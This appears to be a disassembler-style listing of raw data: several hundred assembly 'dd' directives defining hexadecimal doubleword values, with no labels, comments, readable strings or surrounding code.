dd 5780F80Ah, 98680551h, 0C54E471Eh, 0CAFE8061h, 8925DC7Eh
dd 2AFFDCFh, 5DACCDA0h, 96B80730h, 4A0481Dh, 28C7D025h
dd 17A3F2FFh, 0B132CACh, 0B87D1206h, 8122A917h, 355ED953h
dd 2CF07A4Eh, 3E1E4103h, 0B65BD2A0h, 8A348D30h, 98A82F7Ch
dd 0CC0C1285h, 7325681Ch, 49F7DB41h, 1B8D4771h, 0D1D9F547h
dd 0C814334h, 0CFF778C6h, 5E03F08Ch, 94A2B52Dh, 0FCDA5ECBh
dd 0D8C5B417h, 0D315E7FEh, 404063EAh, 6766F137h, 1BEE2D41h
dd 97D186F4h, 0CCBE9667h, 0DD3C8B64h, 20C9124Eh, 0BFD34407h
dd 0B443855Eh
dd 31700BEAh, 0D7005DEBh, 328D1442h, 0EEDF2DFCh, 0F3BE5E93h
dd 5B5404C6h, 0D8BE1D68h, 27160185h, 2FF5537h, 20AE5F34h
dd 6FD67C0h, 0E6C0265Ah, 5B46412Ah, 55BE47Bh, 36217702h
dd 5FE669E9h, 0F12E6266h, 8488A26Eh, 35123D2Eh, 0D2C2E29Ch
dd 0FB219716h, 8BE04047h, 0F8739D73h, 31547EA7h, 0C9D399E2h
dd 21C52A74h, 830C18Dh, 8B18BF2Fh, 237A6CD8h, 0B468F89Fh
dd 3E1B60EDh, 6AB2037Ah, 0DDE18103h, 0C1154726h, 952FDB8Ah
dd 89F4105Dh, 45259E0Bh, 0DC943A02h, 6C424209h, 0FA054A82h
dd 0A709EA85h, 0F63B5574h, 4F261620h, 89E2B988h, 4350755Bh
dd 235ECE92h, 0E8B8F000h, 5D137260h, 94644A50h, 7AEC8256h
dd 990D98FDh, 0AD10C069h, 0B66A4F2Dh, 123F5775h, 293D8562h
dd 71605D8h, 161B2CABh, 0D56A2Fh, 45079EEAh, 0F1811C7Bh
dd 57EF0905h, 0BE56AA80h, 66251C4Fh, 0B5F1F66Ch, 0D3CE047h
dd 2D78D07h, 0CD2F129h, 9D74722Eh, 0EF156E82h, 0EE3A99D7h
dd 0ED020A72h, 542B389Ah, 5F5A4D74h, 0B088D8F9h, 6093DF5h
dd 1F02F647h, 0B1E25BDEh, 458C761h, 0AC51D3C3h, 0A0DA16A0h
dd 484E64C4h, 0F500AF7Bh, 368C783Dh, 0D117DDF7h, 0D70345EDh
dd 17C0129Bh, 0D0202A9Ch, 0ED369A1Ah, 0EA5D8B7h, 3BC25F62h
dd 60CBF2C0h, 18C01996h, 0B0D0906Fh, 0C50E54E9h, 0C965B757h
dd 6CB50809h, 8F51499Dh, 0FE2D5817h, 84EB1FC4h, 1C1CC29Bh
dd 0BF0411D8h, 4E2317E3h, 0D6164F82h, 8A06263h, 0A6534303h
dd 0D58F2D57h, 41EBA27Fh, 8CCDFD40h, 25CD69A7h, 715C132Ah
dd 14198038h, 0A5F8C0ABh, 1317CC7Ch, 7CEC7401h, 5E060CD0h
dd 34B96CE9h, 56C70925h, 44CD07C8h, 0E875F93Ah, 0B5E63C1h
dd 0FA291B50h, 0E9D7CF80h, 0E4831CD3h, 2BE80589h, 0A213B507h
dd 68581705h, 0FAA87D5Eh, 0EA62E1C5h, 6D5C3622h, 8AC12DDDh
dd 0CF810466h, 0D7354D7Dh, 0E8B05E9h, 0B7E387E9h, 1B3BA0C0h
dd 141D8095h, 0BE1E137Ch, 0D7F70C22h, 237A82DAh, 49D7648h
dd 0B778E60Fh, 0EBE584FEh, 2ED15D10h, 0DFC245B2h, 7255DBBh
dd 8308FAE8h, 0ABB903B7h, 80ED2613h, 1C34F3BDh, 0C11542BFh
dd 37BB3160h, 0CCCBA116h, 2E414716h, 0BD68E400h, 769B41h
dd 361059D0h, 0A198E5C1h, 262D79B0h, 143186Fh, 0EF524ACFh
dd 0B3B1C040h, 7B287AB4h, 722727CCh, 0AE68CD98h, 1A8C7AE5h
dd 72054901h, 69D810h, 0B050C2FEh, 4E8C0D0h, 2CE50C07h
dd 8E56C24Ch, 549BF273h, 0C797F90Fh, 5D69463h, 640A702Eh
dd 0DC28881Eh, 0A9CD6A4Bh, 72E8A2Bh, 64B06866h, 5B9F94Bh
dd 0A07AE946h, 5500BBF9h, 81124A23h, 580184E3h, 0F3040F31h
dd 0C09E2006h, 68A5EB13h, 0E90DDD05h, 5CD39DE6h, 0D482BAF3h
dd 82FF27E6h, 7D0FA629h, 7580AF14h, 0A4D3E955h, 3420CEA1h
dd 4D1A12E1h, 0EC1BA30h, 0F701AB40h, 2ADDCD0h, 9527A9B2h
dd 0D8C35E04h, 0F39E2F37h, 730B0267h, 6B42AF2Bh, 6ECA2560h
dd 0F25CC5CFh, 972DB2BAh, 0E9A970AEh, 90BDE3CEh, 0F4DE8842h
dd 9B99C3Bh, 3DDEBC1h, 4875FD8h, 514B20B3h, 578B839h, 72154232h
dd 305CA601h, 1F3E6309h, 0E389281Dh, 0A51CEC3Fh, 0BBB582B8h
dd 657164B3h, 0AA21301Bh, 457BABD9h, 0ABD2BC80h, 2520C99Dh
dd 852D5C3Ah, 94DCEDD2h, 3B8C01FCh, 0DFF708B7h, 0B5194F7Bh
dd 3ED1DD13h, 1C38EA3Dh, 0EFA8C4D7h, 0C9D4D1B9h, 0D5FDB133h
dd 0A2521017h, 0E80548E3h, 0AA44C23Ah, 74CCC4A1h, 0B383283Eh
dd 92F920E3h, 3201B800h, 0C3214403h, 127CB058h, 0EA0248ABh
dd 2B60D281h, 0B9EAD38h, 9E7727DBh, 80DDFC4Dh, 0C1EFF921h
dd 58C96E76h, 0BADFCE6Ch, 357C8EA7h, 0AF4C9F56h, 673FC57Ch
dd 207658E9h, 95719D1Eh, 0AA011603h, 0FDF09A5Dh, 2A4B65B8h
dd 0E95B5C9Fh, 4DDFD3F5h, 7A324257h, 0B503170Eh, 0C4FEF649h
dd 0BFB4D9F8h, 0DE98B3F1h, 0DA091A10h, 0ECEC5B5Eh, 0FD4BBB48h
dd 5946110Dh, 349B7913h, 3B46C942h, 57A0CDECh, 4D17E168h
dd 14107BCAh, 0C9340BCFh, 65EF8458h, 0F02D0016h, 68F20748h
dd 67447D31h, 0A32AC851h, 13D81663h, 0FE0543A9h, 0AB776810h
dd 25178AF4h, 40DF4D21h, 3EB9CA29h, 0E05B6310h, 0D21CE7D9h
dd 0CB6C795Bh, 8EBE3203h, 66E9E0A6h, 22C20B73h, 0A408F901h
dd 0B7312508h, 31072BEh, 793EDAF1h, 54E1B03Ah, 12B83045h
dd 0C138AC0Ch, 0E9490B05h, 33D4E244h, 0BCCA66BFh, 9706B203h
dd 0E8EE8117h, 0D3401153h, 917908B8h, 58386804h, 54253EF9h
dd 8918E845h, 1A2BB8D8h, 68061C27h, 627AD3F5h, 4ED178D9h
dd 69E40742h, 0E66E5FCEh, 1B5E053Fh, 8A0170E6h, 7A6913BDh
dd 12FD161h, 76F04211h, 541B215Dh, 50D3AEE1h, 2D2D879h
dd 0A8EF4ED1h, 259C069Dh, 240C0E29h, 2C15D075h, 98589B88h
dd 717E148h, 176D3AA3h, 75A903B2h, 0AC720325h, 55510043h
dd 9E388A68h, 0C041BC6Dh, 0F90DABE5h, 0F5002A76h, 7DB0534Bh
dd 0D5DE989h, 5259CB21h, 0AFB0150Ch, 66802A85h, 98C620Eh
dd 7AC6684Fh, 8625876h, 6F78FE6Ch, 8100E328h, 8C449DC3h
dd 0F3292658h, 0B10820F0h, 7CC20C55h, 0EC03F32Dh, 0F7579559h
dd 8CC9E9DBh, 51C51B80h, 89202F1Bh, 848AEB4Bh, 0D255292Ch
dd 91010B70h, 0E938D70Ch, 0E240E325h, 0E6DAC380h, 258C7BEBh
dd 80E75ADDh, 53E6F7A5h, 8B0BD25Fh, 0C6E15F5Fh, 10BC7B7Eh
dd 3765C481h, 3FD8AE10h, 33915D25h, 5D403FAEh, 0A26A69F3h
dd 0A444C836h, 5FFB0105h, 49909201h, 0E53A0613h, 1C0806B0h
dd 17AA549Dh, 27CDFF5Eh, 5C8168D0h, 51C2C255h, 0A484D588h
dd 649CAFA8h, 8D40B556h, 75E6B32h, 5E70C00h, 90274558h
dd 0FA8800FCh, 0FE89F561h, 9A5A84E9h, 0F15B08F6h, 119C6AA6h
dd 8B673B78h, 0B1684904h, 53138C57h, 61F2BB05h, 800178A1h
dd 63E47139h, 0F87077FEh, 0BB5E9D09h, 9EE4044Ah, 87143B1Eh
dd 12D3CE15h, 0AE75530Dh, 0AF93A2B3h, 25686E28h, 4E186BE8h
dd 0E9836434h, 0F7C21F9Eh, 0D4CB8659h, 0AD34E2AFh, 5B95E666h
dd 16F02C21h, 822E85BFh, 56D107B9h, 6B2C1E88h, 29679255h
dd 68EF5FCAh, 0F342C0A6h, 78249006h, 285EB129h, 6136467h
dd 98EA1639h, 8FBE5F55h, 0D17BD01h, 0B27B3F77h, 6DFD5E85h
dd 8A86E909h, 688976D9h, 4B0DEC30h, 0C0778802h, 19C64D17h
dd 0F70B00BEh, 62FB0DD8h, 2D3B4BE6h, 6BB58454h, 7E824D35h
dd 77F455A0h, 8DC37DA5h, 2DC1D1CAh, 0EEBB64E7h, 3352750Eh
dd 2E6C92Ch, 0C4377E4Fh, 365A0B5Eh, 0AB659704h, 0FBA5E906h
dd 0CF010444h, 0CD3EF268h, 5A87204Ah, 601A7B19h, 992E492Ah
dd 43B9E8DEh, 6CEF30BEh, 0EC511702h, 1984B739h, 0B5AB8729h
dd 2BDFE5E7h, 285D594Ch, 42C8BD02h, 0AE270BDFh, 24EAF965h
dd 62E6522Ch, 0B0DEE913h, 257ABFF6h, 7274CA71h, 0ABF80B4Fh
dd 0B76558ECh, 0D84D3F60h, 41E98296h, 0ABFC026Ah, 59B8CBE0h
dd 90CB44FFh, 0D29B7318h, 7A19F967h, 0FE76610Fh, 70EF5C30h
dd 9EFD95F3h, 9596976Ch, 0E697F679h, 0D681604h, 0A4176102h
dd 5BBA2674h, 0C94A3DB6h, 522E92D1h, 0AB2764AAh, 0AE101CDAh
dd 4FF41E3h, 0C7D4FFCAh, 482087ACh, 0EFE894Bh, 93A43D5Fh
dd 54E9C4F3h, 13399EBh, 0D380F806h, 0AD3B151h, 0B0508805h
dd 950A12FBh, 0B1C0ABC0h, 2EBE6079h, 0D49313Bh, 467F922h
dd 4780FEC0h, 49D96FC7h, 0CE01602Bh, 2CF173E9h, 7641C64Eh
dd 0FCF2C7F3h
dd 4257697Fh, 3CCD45A6h, 6535211Ch, 84A0E05Dh, 57402D2Fh
dd 2D072208h, 30984F68h, 5B346681h, 0A9ECA034h, 0F2C7AC0Bh
dd 0B94A4BB2h, 6CE9B063h, 3E69BD10h, 49AB5174h, 78CDF591h
dd 0D6BA5166h, 1285848Ah, 0D6C4BBC2h, 0EB96FBF9h, 0DCE9AFD1h
dd 4B7AB37Fh, 0B8075DC8h, 0EC7D3036h, 2D0B3558h, 0DC31C927h
dd 2E9AACC3h, 92661EC8h, 49CB8AD1h, 42A4CB72h, 0B84D57D3h
dd 0A34AB328h, 0ECE2A641h, 8DED9B19h, 0E782466Eh, 0F8272B4Bh
dd 0E556D6A2h, 49D0E9BDh, 43E90C9Fh, 4DF6311Ch, 0EF0763DEh
dd 2EA12276h, 0A3CDF7C0h, 7B5636Bh, 28AB23A4h, 1328A06Fh
dd 0F1247D02h, 71F529F6h, 22FAAD36h, 0E5D3F20Fh, 952CF01h
dd 99A775Ah, 26AF846Dh, 0BD97AB09h, 750CF059h, 44BAED1Dh
dd 0C2AA7637h, 40C6C560h, 43096D24h, 5875F700h, 0D2E80144h
dd 25C097Ch, 63E671F5h, 587E1E54h, 0BCF0394Bh, 402A41F1h
dd 0E8BF3697h, 0D0898B13h, 258184A2h, 884B5F9Fh, 27C8A448h
dd 0E6F1CC78h, 0CA2815FEh, 0C14FF578h, 0D45DB309h, 0C5A7BD7h
dd 0B492B6B6h, 8DA81E94h, 4317BA52h, 0A2005E66h, 40338E2h
dd 83BDA36Ch, 55C9B702h, 31E92A18h, 64CB164Dh, 6802FCF6h
dd 3BD444FBh, 445BD62h, 923AAC5Fh, 0EB4EA5A8h, 0C6F798Fh
dd 72BFF120h, 0E1FE731Fh, 5A7E7A0Bh, 6239802Eh, 0B50D0C87h
dd 0CE89B6E0h, 86DB67B5h, 6C46ADE9h, 7AFDBB05h, 92EF2EFEh
dd 5AF7C393h, 193A36B9h, 93F27FA7h, 0CAC90F65h, 0B73624FAh
dd 1CE9C2E5h, 0CFFE5DB4h, 0A1DD6870h, 60345FB6h, 0E2140E98h
dd 10D22972h, 580B0898h, 4904FE01h, 25A0149Fh, 0EB80C304h
dd 8BA2E9FAh, 0FCEF1B81h, 0EC48C473h, 16C027E7h, 80A2B652h
dd 28A80EEEh, 1C735AF1h, 34FB39E2h, 810607C3h, 6A72BC3Bh
dd 14C8F1ADh, 7DB0109Ah, 8BCF2D7Eh, 0BF03D821h, 21810EB2h
dd 30AC1251h, 544A9E3h, 6CED09C1h, 3AF45F19h, 7B9008A0h
dd 0F7581A63h, 0E5044CDDh, 3BF5C410h, 79253054h, 1244486h
dd 52D0F601h, 838AC288h, 77E90512h, 0D6A705ECh, 0D57FB11h
dd 900DD298h, 0B32E5F74h, 965CA7EAh, 1976C103h, 0B81DE936h
dd 0E8D442Bh, 0D33AAC92h, 930FF6ABh, 282E47B1h, 0C574E957h
dd 66B91095h, 55772F68h, 5B4025D4h, 0B65494E9h, 85BA4017h
dd 1512114Fh, 47B9EA83h, 6F53E90Bh, 30836B9Ah, 0EE5ADC46h
dd 0B9E97CEFh, 0D906F105h, 0BB0D4101h, 0B7210FF0h, 42AAE57Fh
dd 93D4837Dh, 0E22B8F71h, 0CD384FBh, 6C88024Dh, 7F9EC47Fh
dd 0E502305Ah, 98FDCBDFh, 50E4BBC5h, 3F0908FEh, 14271C57h
dd 2DF6F77h, 0FEDBCBE9h, 540963F1h, 56DD855Ah, 0C8B83940h
dd 176EBE0Eh, 432064E9h, 0C7FE5805h, 0F780040Eh, 5BF807EFh
dd 0CC04D805h, 84185893h, 530160B2h, 0CF8685B7h, 984D1F6h
dd 0D181E9DFh, 6B305A93h, 0C074D5C7h, 0A124B483h, 69202E6h
dd 8FBA0205h, 47E1F030h, 0BBF04C8h, 382955E4h, 5F2FA45Ch
dd 0D396731Ch, 7C20A0AFh, 0A010135Eh, 273A2208h, 0F72F2301h
dd 4D0C6C8Ah, 2B1C0910h, 0D6EB3D4Eh, 0F503F088h, 0AFF51435h
dd 0EAD2C42Bh, 9FB4B337h, 6A93C9ABh, 0A893BDB7h, 0A7BAB40Ch
dd 0B4E91F7Fh, 0ECE4FCADh, 8C2708AFh, 17835651h, 0D455B159h
dd 1691DAD2h, 7DB896BEh, 3C48A6CEh, 8E5A167Ah, 6E57001Fh
dd 42467361h, 60428395h, 191AFEABh, 5E51DB7Dh, 53C32CAh
dd 28668D6h, 0FCDC360h, 0A8035BF1h, 0DE052726h, 0B060A7E2h
dd 7F82A712h, 3BC7FE0h, 40B9E680h, 0EAD3C619h, 2B1FA1AAh
dd 0CAAFA9E1h, 54D06FDEh, 0F2C6A35Fh, 4F065C85h, 21B7DECEh
dd 3B545387h, 5FD30ADCh, 0D67EA25Ah, 0C9A81A12h, 93F9FAB4h
dd 0F37D6813h, 0FABC5E27h, 0DAF751A2h, 0B8FD9DCFh, 4EEFE9E6h
dd 0ECDDDD6Dh, 0D9B72DC0h, 0CE860844h, 5F7B3500h, 9C09271Eh
dd 7F6C847Eh, 2D76FC7Eh, 58BADD59h, 2DD5CEFDh, 30CE0595h
dd 33D54195h, 4A153574h, 475534BBh, 1223689Bh, 86444084h
dd 0EF12294Eh, 0A00B64FBh, 0BF6257C3h, 0C1280B26h, 612E7DB3h
dd 3A6B324Dh, 850944E9h, 4DC680EBh, 4482DC4Bh, 3E1B5753h
dd 4E6681FDh, 0A2A96CD5h, 64EE7875h, 0BA51162Ch, 68046B1Dh
dd 4B8D5362h, 0CF18A02Eh, 552943C9h, 0F3BDD8F0h, 0A10D92CBh
dd 0AA617ADBh, 0F73895D9h, 5FF8D6h, 0DC07CDBh, 587DB235h
dd 4A7D4C9Eh, 3E378A1Eh, 0DF978F56h, 7AACD7FEh, 8B5E04A5h
dd 77BB0992h, 66F4EA58h, 58F36EEBh, 4A8CAB93h, 28646CB8h
dd 560E780h, 73763749h, 0A592B592h, 7888D457h, 0EA975775h
dd 0B8E05F19h, 5D313AF3h, 1CE20C14h, 272127E4h, 5DF25AD5h
dd 46864567h, 89134200h, 416090E9h, 5DB06E76h, 7729B2Dh
dd 0B4332943h, 10CBB048h, 0FBF654E3h, 7216692h, 0A9D1E758h
dd 52E9F75Ch, 136F4FE6h, 5F6CAF71h, 87822AE9h, 17CEC84h
dd 0B9517A53h, 30E30138h, 390EC133h, 0A7132350h, 9A2208E9h
dd 0F45EE643h, 17A19AA8h, 0E6F20159h, 10FE8BB9h, 83D818EAh
dd 0F807522Dh, 46AC1D4h, 6BAF76DDh, 0B48F49B0h, 166805DCh
dd 298DFF33h, 5EBD457Eh, 0F5C8BB21h, 0F74B5E26h, 0B4942AE5h
dd 0D75DDEEAh, 1CCD1DDFh, 0FD211442h, 0F4CE805Fh, 195918Bh
dd 9962F72Dh, 70E80104h, 651F79DFh, 0DB0964BDh, 2740024Bh
dd 6A325481h, 0DDB789F6h, 62BACFF9h, 0B069B6BBh, 3E593DEEh
dd 0C3A5154Bh, 0BA0E609Ah, 5AAA6302h, 9172CDEh, 80B564ECh
dd 2B0C17AAh, 10B7F58h, 18932970h, 62874E9h, 0DF315D0Eh
dd 5308FB4Ch, 26D2F2B5h, 0E2325871h, 940B12D0h, 5A1DFC30h
dd 0F6A9D0ECh, 37BC433h, 58EFE459h, 32E4E5DFh, 0FEE320E8h
dd 0D4BAC14Ah, 8445BA50h, 97085752h, 0CD310D1Dh, 0AC802EEAh
dd 601B1E78h, 6D55E402h, 0C8805187h, 425F2F09h, 3DB7047Dh
dd 0EC5A17B0h, 54849FA6h, 5834C04Fh, 3E072968h, 8E558525h
dd 67DD2DE0h, 0E9020974h, 0FC640E90h, 0B9F28012h, 2C13C0BFh
dd 56492AE9h, 0D6C81B16h, 49560063h, 2D253A1Ah, 8A2DCCEDh
dd 397C56E4h, 4D175CC4h, 28C540AFh, 48AB88FFh, 0E1688340h
dd 0FE58132Eh, 9D4F038Fh, 2F2C7F6Ch, 0DFBD0555h, 0EB42B537h
dd 0A8A89D5Eh, 5F142F25h, 0DDD912B3h, 5A808E17h, 0FB5FD42h
dd 32F6C64Fh, 0C88EE4BEh, 7F355063h, 14B505FDh, 0AE51C91Dh
dd 0C11ABE20h, 0E9E84FECh, 779A0949h, 0EDB9A5DBh, 0C1590701h
dd 883B07E5h, 68135AF4h, 0A4633A52h, 0BEB363F4h, 28143D09h
dd 12D48864h, 0A97B582h, 0BFA01388h, 5DDB5BCCh, 0BE02D2DEh
dd 0E515A78h, 1394FA77h, 0ED421EE9h, 2F73C9Ch, 8915B5BEh
dd 0EAD280FAh, 795E5055h, 7B6DB82Ch, 9766BE29h, 55FC425Bh
dd 0CBCB19E9h, 2A315ED1h, 21603CAEh, 270453BFh, 0A5E48E78h
dd 2BB94DF9h, 51D1ACB5h, 0BC3A5ED9h, 0BE78816h, 7884DAF7h
dd 64A0B3Eh, 9A835085h, 5AD8124h, 2F78CF21h, 16E86809h
dd 20BE1C7Fh, 0ACF43444h, 395C4E1Eh, 0B3E4E38Bh, 0B580125Dh
dd 16FECCBh, 0E95305EDh, 0CA291DB6h, 45DD33DAh, 27A124D6h
dd 0E9788156h, 0F90B4A4Fh, 57189A3Fh, 892C74E7h, 296A4C0Eh
dd 0E0F747Eh, 0D9B25F08h, 5B110140h, 576A938Bh, 0E9BCF1FCh
dd 51BDB375h, 49DDA57Fh, 4861F4FBh, 5FDB4E28h, 817B56E9h
dd 809CB534h, 0C5CC87E5h, 506CB96h, 50E03FD0h, 20AD1CB5h
dd 0F79DEF11h, 0EA4A0212h, 80DF73D7h, 42206855h, 62BA1DBAh
dd 45BDE419h, 0BC7FEE54h
dd 1AE90AD9h, 8481EC07h, 179800Ch, 0C2403771h, 4B746520h
dd 3AFEE67Bh, 7DE8CECDh, 29804CC0h, 62FCF031h, 0EAAAA695h
dd 0B892402Ah, 0F4E4C0Fh, 0E7BB4547h, 2A148E44h, 54C57EFCh
dd 4924EFF2h, 0ECEC96B1h, 86E69F1Dh, 1BB1D8F2h, 5F496862h
dd 0DFE93498h, 25AA2B5h, 0AB3F2267h, 0E05B6602h, 0E134EB46h
dd 0DFDEA520h, 54530B61h, 0E9C19BE5h, 0D549025Dh, 0D02887DDh
dd 1706BD00h, 16BF188Fh, 0E9510BC2h, 455AC937h, 9DD286D8h
dd 0D0031E4h, 1FC45F7Eh, 3D4A8B05h, 30EB0FDh, 4829250Ah
dd 0F3806609h, 50E9146Fh, 0F3773162h, 0DFA9725Eh, 0B1C5D6C1h
dd 42036ACCh, 8723B252h, 5A015469h, 73FFB002h, 2390CF44h
dd 0AF329E2Fh, 5D17CBFFh, 7FD1EDB3h, 0CCA75127h, 7AC10457h
dd 0B630EAC0h, 4462BDC7h, 20B8CC77h, 44AA4E52h, 8A98ED7Dh
dd 0CEE30E94h, 580F203Ch, 246DF580h, 4EECBDEAh, 1F4FE9ACh
dd 0E2C1DB03h, 0F7DAE003h, 9708DFD3h, 0ECFC85BAh, 0E8C317D7h
dd 0D5F2C237h, 422F5DF7h, 7BDE6C8h, 49745ECDh, 304AAB2h
dd 10B9ABB4h, 0F09D7E62h, 9030843h, 10E18064h, 6468583h
dd 35F3FB02h, 411E5060h, 61C0422Fh, 970792D2h, 59F73842h
dd 0E0B1A41Eh, 6A0E972h, 2DE04EBFh, 4C15D031h, 2D52689Fh
dd 0B5B01FB4h, 0FC801492h, 226FFDEAh, 0D1896416h, 17EB8713h
dd 0D92DEF8Bh, 249B982Ah, 53816344h, 563FE403h, 0F4589D17h
dd 2BDF089h, 60CE873Ch, 27622747h, 0D058DF84h, 58BBAC20h
dd 0ED4FB009h, 1CC20220h, 7E7D0186h, 0E4832A9h, 0BD074270h
dd 2D3E3C14h, 0ABB863A4h, 6AD95827h, 211DF8E9h, 0B08F3439h
dd 889405A7h, 4F68BE9Ch, 0B7B23063h, 0C7048099h, 5BF82885h
dd 0B507628Bh, 0FCB753DCh, 0B14FE922h, 2AA12613h, 5F006968h
dd 2103E38Bh, 29F59CDh, 7D752DE5h, 5C5EDA6Eh, 318296B6h
dd 0D6050C3h, 3A1840A7h, 61708903h, 1A028373h, 0B694E559h
dd 0EA20231h, 0BEBAF375h, 0A8DCF217h, 108E9088h, 52895C2Fh
dd 0AF2EA685h, 12E5BACDh, 0EBC0137Bh, 9253A3C4h, 93ECE6BBh
dd 41CB1F98h, 7F807E71h, 254F7230h, 7DE0C13Dh, 6771D9C3h
dd 0BAB44C5Eh, 0FCAA4F3Bh, 0A788A1A2h, 4D376800h, 2C541897h
dd 0E4429E56h, 4C444B4Dh, 992020DEh, 80EAD00Bh, 0A9CD0EE2h
dd 0BF14DDC6h, 860EC349h, 205A665Ah, 0D6B5D34Bh, 9B602C6h
dd 31D40D52h, 41EB0692h, 826D7B0Eh, 171A3B54h, 5A84A0D6h
dd 45BDD05h, 6A6841D8h, 0BE9E9813h, 0E819C109h, 0C087F07Bh
dd 81798E12h, 3573E90Fh, 75EDD9C9h, 41751A62h, 0ED65D49Eh
dd 0C2A6AC6Fh, 555E7B68h, 0D192A051h, 528250C4h, 5DD66A28h
dd 0E913F934h, 7F40EE6Ah, 0D4E480A3h, 5EC0CC0h, 60AC4FEh
dd 8F39E916h, 575B38BFh, 201F6805h, 83051E2Dh, 15676F69h
dd 7B696B3h, 9E7BE16h, 0DEF72218h, 0F3D73860h, 2932BF12h
dd 979DA2A8h, 0E10D17FBh, 66A22FDFh, 0F9572CC9h, 4D02492Eh
dd 7BF9F954h, 680B0124h, 0F09A772Eh, 7DCF6075h, 1229D380h
dd 0EAD416FDh, 35F7B7C0h, 65C76D8h, 977832E1h, 9090C1Fh
dd 3764007h, 0D24904FEh, 3008C1F1h, 548831E5h, 0BF02C736h
dd 0C0AB14CFh, 0B7A7E32Eh, 1BC27E93h, 9394CF50h, 9E527F02h
dd 0C272BA41h, 5A0F0568h, 0A92F98C9h, 4DD9E122h, 0F997A772h
dd 31E982F9h, 0EFE1F6BBh, 27DD6F6Bh, 0B29780CFh, 30EAEC36h
dd 30185592h, 0AE9858E1h, 2B4BA57Bh, 36EE67C5h, 2AF72E5Dh
dd 4D2B76A4h, 0EF14958Eh, 5504F508h, 0C2973E63h, 2CE672F5h
dd 596EEF0h, 0A0C8442Fh, 5B475AA1h, 40FB159h, 37F2AA07h
dd 683F90D6h, 6EE117F7h, 4C940DEDh, 3741133Ch, 0BE1A1372h
dd 0BC40A7E6h, 0AA4E17F1h, 93C4EB50h, 3459080Bh, 9CE91743h
dd 3020E514h, 0E74A4A67h, 40AD3B8Ch, 0D25FF7CEh, 1C742EE2h
dd 3F5958E6h, 0F03007F3h, 0A9C7285Ah, 0CD3101DDh, 0D8C0572Ch
dd 0F22FE904h, 0F800DC85h, 305BCD2Ch, 197D9DC3h, 759273BCh
dd 0C5A6EF5Ch, 0DC01FA97h, 39F016EDh, 4FD1AB70h, 0A9EB8EBh
dd 8271E30Dh, 5F41DC04h, 98E1E8C7h, 6F116Ch, 35D2FDB9h
dd 609D8934h, 942012E9h, 0ABEC53E8h, 39CD0860h, 2178256Dh
dd 0E941CC5Eh, 0D22B6538h, 18A240EFh, 8D595456h, 0E27302E9h
dd 8403FBBCh, 0BF055968h, 40268638h, 6638AC2Ah, 6226F951h
dd 6DE2A30Eh, 0A77ADC0Dh, 1C94B3D0h, 97677725h, 0FA74E904h
dd 63749AEh, 0F78B845Ch, 9D9BD731h, 8159E2F2h, 54685902h
dd 0E9715548h, 850CF8A4h, 0BEBD5F0h, 23156822h, 8A62877h
dd 0F66782Dh, 79F771D4h, 0E96971F6h, 444AC79Fh, 0EF5B45FCh
dd 13440B4Fh, 5668AD30h, 0EEC5C665h, 0C35F7758h, 0D879B8A9h
dd 77B0125Ah, 0CD1DBE58h, 3B58DD91h, 68520251h, 4A07F14h
dd 8E394150h, 0FC22AE66h, 0C11C0E03h, 0E8764F7Bh, 0D7DDDCCAh
dd 5A13C266h, 0D1EFE895h, 864C2941h, 8AAEE910h, 53C54EA1h
dd 0C9961268h, 0EBF6077h, 0FBBB640h, 63C8589Fh, 9CFFD889h
dd 0E4F29806h, 21712063h, 0EFEFD12Ch, 7EF5B502h, 0B15FC0Bh
dd 19D7148Bh, 9D8559Fh, 86539D89h, 9C0A93BDh, 768E3420h
dd 201C7B7Bh, 559F7059h, 7ABEC698h, 0E877D6BAh, 14577925h
dd 5456121Ah, 4DE3AB5Eh, 17D3BC96h, 0CFE082E9h, 808C0EB7h
dd 0CF67F8C7h, 0BAABD260h, 55DD305Fh, 0F698BF06h, 0C797539Fh
dd 0E6562511h, 7D4A90C2h, 0FEF8493Ah, 6670C50Fh, 0F9FD93D7h
dd 602A0841h, 5AD52916h, 5AEAD69Dh, 282645A2h, 0F5B2D522h
dd 0C415FBAh, 1F219F21h, 0F185A4ECh, 0F1C21316h, 34C3C089h
dd 0AD3A9512h, 0CE6ACFC2h, 7F501D69h, 2D0DA536h, 69E0F787h
dd 4F804327h, 1328F481h, 0A4EDD57h, 659565DBh, 0ECA7815Bh
dd 37AD79EEh, 9BB21BCFh, 0FBBA28Bh, 46007CABh, 0E317B5CBh
dd 0F0144D39h, 43A907F0h, 0F3C07497h, 2F7A69B3h, 956C29FBh
dd 77680500h, 0D1253F3Dh, 0EF4D5063h, 0FBB94A8Eh, 9F5C5C68h
dd 7E9C2A79h, 0CBF69560h, 34E472A5h, 0E9C73D20h, 2C1AC85Ch
dd 0E7CFBF8Fh, 0F5E9137Ah, 0C03BF7A1h, 623A6F60h, 0DF4F1C2Dh
dd 1B44420h, 0AD92449Fh, 710EF709h, 6EDC85A5h, 0A38717FFh
dd 0F4B5D3CFh, 6980BC6Ah, 0DB62779Ch, 188CE0FDh, 0FEBA806Ch
dd 205F1C07h, 64D5FA87h, 965000B8h, 0BA450658h, 42D9F71Fh
dd 35986013h, 0C90FB04h, 0BCEE921Eh, 413F04A9h, 0C0C3796Eh
dd 5E4209D1h, 0B9E73166h, 1AC15312h, 0EA05EB07h, 0D1CD7340h
dd 0ED5C0B6Ch, 644FB1E7h, 0F32089F1h, 251CBC7Ah, 92BF9A65h
dd 3DF85F14h, 0F50F0781h, 0A842E5Eh, 813F071Eh, 8F3D35F1h
dd 0A77B2132h, 9699505Ah, 785010E0h, 1EFA3B80h, 8FFC296Fh
dd 0C4CCC7Ch, 5F060C57h, 490E417Dh, 6A868209h, 95F15501h
dd 2061E941h, 0CAC5AB3Ch, 8207BC0Bh, 59EDB753h, 52B2400Fh
dd 6BB8D088h, 0B7C1F84Ch, 0C7889B40h, 4C662AE9h, 57F90BE5h
dd 82575337h, 0EEFEF739h, 0BD5EFA27h, 32DC9960h, 157CF01h
dd 276855F2h, 9C9857DAh, 872615C6h, 0D5079F32h, 0D46F732Eh
dd 5E58A2h, 0A17195CDh, 0B598E962h, 0E8208B02h, 2F279566h
dd 42DE5180h, 0ABF103CFh, 0C1EB5F96h, 40CCC95Fh, 0A43F1F18h
dd 0F16902B7h, 5045FFBBh, 0B137680Bh, 19ADB973h, 6BA90340h
dd 729F5FE6h, 52088146h, 0BE18C02Eh, 15400721h, 10DF9744h
dd 5BB8E937h, 3C90A2CCh, 62B19754h, 6D858B4h, 0BF3BAA63h
dd 29750BD7h, 559CE977h
dd 550BD032h, 6E1C3769h, 0E30B07DDh, 0B149E90Ah, 0D4EA0F71h
